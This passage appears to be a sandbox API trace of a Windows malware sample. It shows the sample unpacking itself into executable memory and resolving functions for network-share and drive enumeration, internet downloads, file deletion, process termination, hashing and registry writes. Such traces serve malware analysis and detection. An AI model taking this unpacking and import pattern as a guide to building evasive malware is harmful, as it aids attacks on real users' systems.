lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.531] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.532] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0043.727] LocalAlloc (uFlags=0x0, uBytes=0x451b8) returned 0x5003fe8 [0043.738] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0043.746] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0043.747] VirtualProtect (in: lpAddress=0x50491a8, dwSize=0x33d4a, flNewProtect=0x40, lpflOldProtect=0x18d468 | out: lpflOldProtect=0x18d468*=0x4) returned 1 [0043.765] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0043.765] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0043.765] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0043.765] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0043.765] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0043.765] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0043.766] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0043.766] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0043.766] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x58 [0043.768] Module32First (hSnapshot=0x58, lpme=0x18d1b8) returned 1 [0043.769] VirtualAlloc (lpAddress=0x0, dwSize=0x5fa50, flAllocationType=0x1000, flProtect=0x40) returned 0x270000 [0043.780] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0043.780] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0043.780] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0043.780] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0043.780] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0043.780] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0043.780] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0043.780] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0043.780] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0043.780] SetErrorMode (uMode=0x400) returned 0x0 [0043.780] SetErrorMode (uMode=0x0) returned 0x400 [0043.780] GetVersionExA (in: lpVersionInformation=0x18c0e8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x4, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18c0e8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0043.780] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0043.786] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18d170 | out: lpflOldProtect=0x18d170*=0x2) returned 1 [0043.818] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0043.820] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0043.820] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0043.820] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0043.820] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0043.820] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0043.820] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0043.820] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b30000 [0043.823] GetProcAddress (hModule=0x74b30000, lpProcName="WNetCloseEnum") returned 0x74b32dd6 [0043.824] GetProcAddress (hModule=0x74b30000, lpProcName="WNetOpenEnumW") returned 0x74b32f06 [0043.824] GetProcAddress (hModule=0x74b30000, lpProcName="WNetEnumResourceW") returned 0x74b33058 [0043.824] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0043.837] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0043.837] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0043.837] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0043.837] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0043.837] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0043.837] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0043.837] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0043.837] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0043.843] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0043.843] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0043.843] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0043.843] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0043.843] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0043.843] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0043.843] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0043.843] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0043.843] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0043.843] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0043.843] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0043.843] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0043.843] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0043.844] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0043.845] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0043.846] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0043.847] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0043.848] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0043.849] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0043.850] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0043.851] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0043.852] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0043.852] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0043.852] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0043.852] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0043.852] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0043.852] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0043.852] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0043.852] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0043.852] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0043.852] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0043.852] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0043.852] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0043.852] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0043.852] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0043.852] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0043.853] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0043.853] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0043.853] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0043.853] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0043.853] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0043.853] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0043.853] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0043.853] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0043.853] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0043.853] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0043.853] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0043.853] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0043.853] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0043.853] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0043.854] GetProcAddress (hModule=0x74d40000, 